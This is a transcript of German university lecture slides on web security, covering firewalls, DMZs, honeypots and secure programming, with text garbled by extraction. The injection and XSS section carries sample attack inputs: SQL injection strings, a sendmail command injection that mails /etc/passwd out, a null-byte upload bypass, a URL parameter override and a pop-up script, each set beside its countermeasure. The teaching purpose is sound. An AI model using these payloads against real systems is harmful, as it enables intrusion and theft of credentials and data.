Sicherheit von Hard- und Softwaresystemen im Web

Transkript

1 Vorlesungsreihe Entwicklung webbasierter Anwendungen Sicherheit von Hard- und Softwaresystemen im Web Prof. Dr.-Ing. Thomas Wiedemann HOCHSCHULE FÜR TECHNIK UND WIRTSCHAFT DRESDEN (FH) Fachbereich Informatik/Mathematik Gliederung Bedrohungspotentiale Hardwareoptionen Firewalls Paketfilter und Application-Gateways Honeypots Programmtechnische Maßnahmen Quellen: Huseby : Sicherheitsrisiko Webanwendung EWA-Vortrag F. Sievert 2 1

2 Bedrohungspotentiale Sicherheitsgrenze Internet HTML- HTML- Dokument, Dokument, Applet Applet oder oder anderer anderer Content Content Nicht-autorisierter Zugriff, Overload (Denial of Service) Server Erneuter Erneuter Request Request (mit (mit Daten) Daten) Gefälschte Requests Client Umleitung Mithören (Sniffer) (Applikations server, auch mehrstufig serverseitige Infrastruktur ) Client2 (Angreifer) Zugriff auf interne Serverinfrastruktur 3 Gegenmaßnahmen Mithören -> > Verschlüsselung (Kryptografie) Umleiten -> Router härten / Clientverkehr überwachen (Applikations-Gateways Gateways) Zugriff auf Server und Server-Infrastruktur -> Firewalls und Paketfilter Request-Fälschungen : sichere Programmierung (!?) 4 2

3 Definition und Aufgaben einer Firewall Definition Firewall : Eine Firewall ( wörtlich: Brandschutzmauer) ist ein Filter, der Außenstehenden, insbesondere aber Hacker und Cracker, davon abhalten soll, auf einen e Server oder in ein Netzwerk einzudringen. Eine Firewall kann ein unabhängiger Rechner sein, aber auch eine Applikation, sie dient als Eingang zu z.b. einer Seite oder einem Netzwerk. (Quelle : hackerz book,, Franzis Verlag) Aufgaben Access Control (Zugangskontrolle)) auf Netzwerkebene, ebene, Benutzerebene ebene & Datenebene Kontrolle auf der Anwendungsebene Entkoppelung von Diensten Network Address Translation (Adreßumsetzung) Beweissicherung und Protokollauswertung Alarmierung bei sicherheitsrelevanten Ereignissen Verbergen der internen Netzstruktur Vertraulichkeit von Nachrichten 5 Grundformen von Firewalls IP-Filter (Paket-Filter) Analyse der Adressen und Ports und Einschränkungen derselben Keine Content-Analyse meist sehr schnell Application-Gateway (Proxies) und Stateful Inspection Filter Zusätzliche Analyse des Inhalts der Pakete langsamer, aber sehr viel sicherer 6 3

4 IP-Filter (Paket Filter) Analyse und Kontrolle der ein- und ausgehenden Datenpakete nach Sender / Empfänger IP-Adresse und Port, sowie nach Protokolltypen der Filter arbeitet nach definierten Regeln, welche eine Kommunikation zulassen oder verweigern durchführen von Plausibilitätsprüfungen (z.b. Paketgröße) schreiben von Log-Dateien bei Regelverstoß Anmerkungen zu den Filterregeln Positive Filterregeln (Default Deny): Es muss festgelegt werden, was erlaubt ist. Alles was nicht erlaubt ist, ist verboten. Negative Filterregeln (Default Permit): Es ist zunächst alles erlaubt. Durch spezielle Einträge wird festgelegt, was nicht erlaubt ist. 7 Beispiel : IP-Filter (Paket Filter) Port Protokoll Dienst Empfehlung 21 TCP ftp nur für FTP-Server erlaubt TCP TCP UDP telnet smtp tftp nur eigenes Login- Gateway erlaubt nur für Gateway ankommender Mails erlaubt abweisen 79 TCP finger abweisen, problematisch 80 TCP http erlauben

5 Application Gateway ist ein Proxy System auf der Applicationebene die Firewall fungiert als Vermittler zwischen kontaktierenden Programmen untersucht den Inhalt des Datenstromes die Kommunikation zwischen einem internen und externen Netz erfolgt über einen Proxy-Server für jeden Dienst (ftp, telnet,, usw.) werden Security Proxys eingeführt, diese verhindern den direkten Zugriff (Möglichkeit der Protokollierung (Audit( Audit) 9 Stateful Inspection Filter ist eine relativ neue Technologie und arbeitet auf der Netz- und Anwendungsebene auf der Basis der Paket Filter wurden Statefull Inspection Filter entwickelt sind in der Lage, sich die Zusammenhänge zwischen einzelnen Datenpaketen zu merken für jeden Datenstrom wird ein eigener Überwachungsprozess gestartet tet das Verfahren benötigt keine aufwendige Konfiguration und ist relativ schnell 10 5

6 Architektur von Firewallsystemen Architekturen Zentrale Firewall Gestaffelte Firewall Entmilitarisierte Zone (DMZ) Screened Gateway Honey Pots Dies ist eine grobe Unterteilung, Abwandlungen und Kombination sind möglich! 11 Zentrale Firewall Die zentrale Firewall bildet die einzige Schnittstelle (Choke Point) 12 6

7 Gestaffelte Firewall eine Kombination zentralen und dezentralen Komponenten 13 Entmilitarisierte Zone DMZ, Demilitarized Zone, oder auch Screened Subnet genannt auch verwendbar als Honey-Pot Pot-System : WWW-Server wird bewusst UNSICHER realisiert und für Angreifer als Lockmittel bereitgestellt die Angriffe werden analysiert und für das echte System zum Härten verwendet v 14 7

8 Screened Gateway die Kombination von Packet Filter und Application Level Gateway wird auch als Transparent Application Gateway oder Sandwich-System System bezeichnet 15 Desktopfirewalls preisgünstige Alternative zu professionellen Firewalls (aber nicht besser!!) bieten je nach Features Schutz vor Trojanern, kritischen Programmcode mcode (ActiveX( ActiveX, Java-Applets), Portscans... sie werden auf Softwareebene angewendet und arbeiten auch mit Filterregeln die Schwierigkeit liegt in der Protokollauswertung (gibt Aufschluss über evtl. aufgetretenen Angriff) abhängig von der Firewall und deren Feature ist der Performanceverlust Angriffe und Schutz durch Schwachstellen im Betriebssystem haben Angreifer Erfolg mangelhafte Konfiguration (Filterregeln) und Protokoll Unkenntnis Programmier-Fehler der Firewall sind Schwachstellen unerfahrene Nutzer sollten eine automatische Filter-Regel Regel- Erstellung verwenden um Schutz zu erhalten, Firewall regelmäßig Updaten Vorteile durch Einbindung in Softwareebenen des BS Beispiele für Desktopfirewalls: Tiny (jetzt Kerio) ) Personal FW, Norten Internet Security, Sygate Personal FW Pro, ZoneAlarm usw. 16 8

9 Sicherheit & Programmierung der Applikation Auch bei perfekter Firewall besteht letztlich ein Zugriff auf die Standard-Server Server- Ports und die dort angebotenen Webapplikationen. Auch diese müssen deshalb genauso gesichert werden! Typische Bedrohungen (wird nie vollständig sein): Einschleussen von gefährlichem Code (SQL-Injection Injection,, Shell-Command Command-Injection,,...) Eindringen oder Übernahme von Sessions (Session-Hijacking) Passwortdiebstahl oder Erraten von Passwörtern Cross-Site Site-Scripting Scripting Hauptquelle der folgenden Folien : Sverre Huseby: Sicherheitsriskiko Web-Anwendung. dpunkt-verlag SQL-Injection & Shell-Command Command-Injection Hauptproblem: Metazeichen von Subsystemen (Datenbank oder Fileserver) ) werden an diese ungeprüft weitergegeben Beispiele: Ermittlung eines Accounts und gleichzeitige Passwortprüfung: cmd= = Select * from user where uname= + username + and pw= +pw + + funktioniert für normale Anfragen Reaktion auf username : John --? > -- leiten Kommentar ein und unterdrücken damit die PW-Prüfung Prüfung Alle John s werden anerkannt! noch kritischer: John ; Delete from user -- Webseite mit Versand von direkten bestätigungen mit Perl : $ = $userdata$ userdata{ { } open ( MAIL, /usr usr/sbin/sendmail sendmail $ ) Anmeldung mit : tom@web.de; mail tom@web.de < /etc/passwd => sendet passwd-datei an die angegeben adresse! Grundproblem: Input schaltet Subsystem in anderen Kontext!!!!! 18 9

10 Vermeidung von Injection-Angriffen Input nur gefiltert an Subsysteme weitergeben Metazeichen ausfiltern (Achtung: Bei Passwörtern sind Metazeichen teilweise gewollt und müssen escapt escapt werden!!) => falls möglich, als Where-Klausel Klausel-Wert numerische Werte verwenden und diese einer String -> Value -> > String Wandlung unterziehen task.php php?123; delete... wird zu 123 beim Filtern auch auf mehrstufige Systeme achten Unicode-Texte werde eventuell noch einmal konvertiert MySQL char(83,81,76) -> > wird zu SQL gewandelt... Bei Wechsel von DB-Systemen auf geänderte Metazeichen achten! Prepared statements in DB verwenden (schneller & sicherer, da Komandointerpreter der DB inaktiv ist!) Pipe Operationen auf der Basis von Nutzereingaben vermeiden 19 Typische C-C Sicherheitsprobleme C / C++ hat nur ein sehr eingeschränktes Fehlermanagement bei Strings und Arrays : Überläufe werden nicht automatisch erkannt und verletzten unsichtbar andere Speicherbereiche -> > bei richtiger Auslegung kann der Rücksprungstack manipuliert werden und sind Root-Funktionen aufrufbar fehlende 0-Zeichen 0 am Ende vom Strings sind kritisch bis tödlich Beispiel: Erlaubter Upload von NUR Grafikdateien Check in PHP mit : if (strcmp(substr substr ($filename filename, -4),.jpg jpg ) ==0 ) // OK => darf uploaden => Angreifer übergibt Datei : hackscript.php php%00.jpg => PHP erkennt.jpg. und erlaubt Upload! => Betriebssystem in C wandelt aber %00 in \00 und speichert hackscript.php php ab! => die PHP- Grafikdatei kann danach vom Hacker aufgerufen werden!!! Gegenmaßnahmen: Es ist auf ALLE Arten von \0 Kodierungen zu testen, auch in PHP! IMMER auf zulässige Länge von Strings und Wertebereich von Zahlen n testen!!! Sekundär: man muß generell davon ausgehen, daß obiger Test geknackt wird -> Bildergalerie darf NICHT AUSFÜHRBAR sein!!! (2. Sicherheitsebene) e) 20 10

11 Die unsichtbare Sicherheitsbarriere Bei jeder Server->Client >Client->Server-Aktion überscheiten die Daten eine Sicherheitsbarriere -> > man kann insbesondere in mehrstufigen Systemen (Passworteingabe -> > Autorisierung -> > Shop...) den Daten vom Client NICHT trauen es sind generell IMMER wieder ALLE Validierungen notwendig Hidden-Felder sind komfortabel, können aber auf der Client-Seite gefälscht werden. Java-Script Script-Validierungen können gefälscht werden! Es müssen alle Prüfungen serverseitig NOCH EINMAL vorgenommen werden! Bsp: : Nach erfolgter Anmeldung prüft ein Script auf Admin-Status If ( instr(request Request( URL, admin admin ) >0 then... Adminrechte (VB/ASP) -> > Angreifer muß nur erfolgreiche Standardanmeldung um?url=admin ergänzen.. => NIEMALS allein auf URL testen!!!!!! Immer Gesamtstatus testen en! BSP 2: PHP: in der Vergangenheit automatische Generierung von Var. V aus URL im Code : $isadmin $ = checkadmin(...) if ( $isadmin$ isadmin) ) { # führe Adminjob aus...) Angreifer hängt.php. php?isadmin=1 an URL und überschreibt damit die interne Variable! =>> diese und möglichst alle ähnlichen Automatiken abschalten! 21 Cross-Site Site-ScriptingScripting auch wenn der eigene Server perfekt gegen Metazeichen-Attacken und andere Angriffe geschützt ist, müssen auch die Daten welche nur gespeichert und danach wieder als HTML-ausgegeben werden, analysiert werden (Text rein/text raus) Angriffspunkte : Eintrag von Javascriptcode in Diskussionsbeiträgen <script> for (i=0;i<99;i++) window.open open(..nette Werbeseite öffnen..) </script script> Session-Hijacking Hacker integriert (unsichtbaren) Javascriptcode (siehe oben) in Diskussionsbeitrag Bei Leser wird dieser Code ausgeführt und liest Session-Cookies von anderen Websites aus und sendet diese an Hacker, dieser besucht dann mit den Session-Cookies die Webseiten Gegenmaßnahmen : Cross-Site Site-Scrpting Scrpting ist ebenfalls wieder ein Metazeichenproblem es wird ungewollt in den Script-Modus gewechselt Herausfiltern: entweder White-Listing : es werden nur gültige Zeichen durchgelassen(++) Blacklisting : es werden nur gefährliche Abschnitte ( <script< script>) herausgeschnitten Konvertieren aller Metazeichen : & => &AMP, < => &lt&, > => &gt&, => & quot (macht den Code ungefährlich, aber unschöne Seiten...) 22 11

12 Regeln für die sichere Programmierung (nach Huseby) Unterschätze NIEMALS den Angreifer, insbesondere wenn sich durch den Angriff direkt oder indirekt (Spam( / Rufmord) Geld verdienen lässt! Verwende POST, wenn eine Aktion Seiteneffekte hat (POST ist im Gegensatz G zu GET nicht ohne Erlaubnis des Nutzers wiederholbar!) Behandle bei ALLEN Aus- und Eingaben die Metazeichen (bei zukünftigen, komplexen Systemen können Ausgabedaten auch aus anderen Quellen (SOA / WAP-Handy) kommen! Vertraue NIE Daten vom Client! (auch nicht dem HTTP-Kopf / Refererer) Verwende NIE Client-Scripting für sicherheitsrelevante Dinge! Generiere immer eine neue SessionID bei geänderten Kontext (->root( root)! Gebe nie zu ausführliche Fehlermeldungen an den Client weiter, insbesondere i keine Datenbankfehlermeldungen im Detail (erlaubt neue Angriffe auf Felder)! Strebe gestaffelte Abwehr an. Gehe immer davon aus, daß mehrere Sicherheits- ebenen durchbrochen werden (->( > NUR-Lese Lese-Rechte für bestimmte DB-Tabellen gegen SQL-Injections Injections,, ein Webserver muß NICHT überall Schreibrechte haben). Gehe davon aus, daß der Quellcode dem Angreifer zugänglich wird! Schreibe getrennte Anwendungs-LOGs und speichere insbesondere verdächtige Ergebnisse & Alarme aus der Metadatenfilterung (wenn ein Hack-Versuch missglückt, kommt eventuell kurz darauf ein erfolgreicher, meist jedoch von der gleichen IP-Adresse -> > ggf. Honeypot-Verfahren!!) 23 Empfehlungen für die sichere Programmierung Größte Feinde der Sicherheit : Zeitmangel (Deadline nahe, Vertrieb nervt...) es werden schnelle, aber unsichere Lösungen gebastelt (Hauptsache es läuft erst einmal, ein Budget für die Sicherheit gibt es danach nicht mehr) Unordnung und unübersichtlicher Code : man vergisst, ob man die Metazeichen- behandlung oder den erneuten Passwortcheck im Kontext schon gemacht hat ->> besser Sicherheitsarbeiten ZENTRALISIEREN an nur genau einer Stelle! ->> Sicherheitsmechanismen müssen quasi automatisch ablaufen (->( > Frameworks) -> > Programme modular, wartbar und selbsterklärend schreiben Ungenügende Kenntnisse und zu großes Vertrauen in die Beschreibung von API s kritische Bereiche praktisch austesten! nach Updates oder Installation neuer Module erneut abtesten!!! 24 12

13 Zusammenfassung Statements : Sicherheit ist kein Produkt, sondern ein Prozess! Man kann Sicherheit nicht am Ende anbauen! Schlussfolgerungen Sicherheit ist nur so gut wie das schwächste Glied aus Hard- und Software durch die komplexen, stark gegliederten Web-Systeme sind ebenso mehrstufige Sicherheitssysteme notwendig Ein Sicherheitsproblem zu erkennen und dafür entsprechend leistungsfähige Werkzeuge zu haben, ist fast genauso wichtig wie die Prävention durch saubere Programmierung! Es sind auch Vorkehrungen für den Super-Gau ( delete * ) zu treffen, z.b. durch Backups und Spiegelungen der aktiven Daten! 25 Abschlußfazit 100 %ige Sicherheit im Web lässt sich nur mit dem Seitenschneider erreichen... (Zeitschrift Wired, San Francisco, ca. 1997) Joachim Ringelnatz Sicher ist, dass nichts sicher ist. Selbst das ist nicht sicher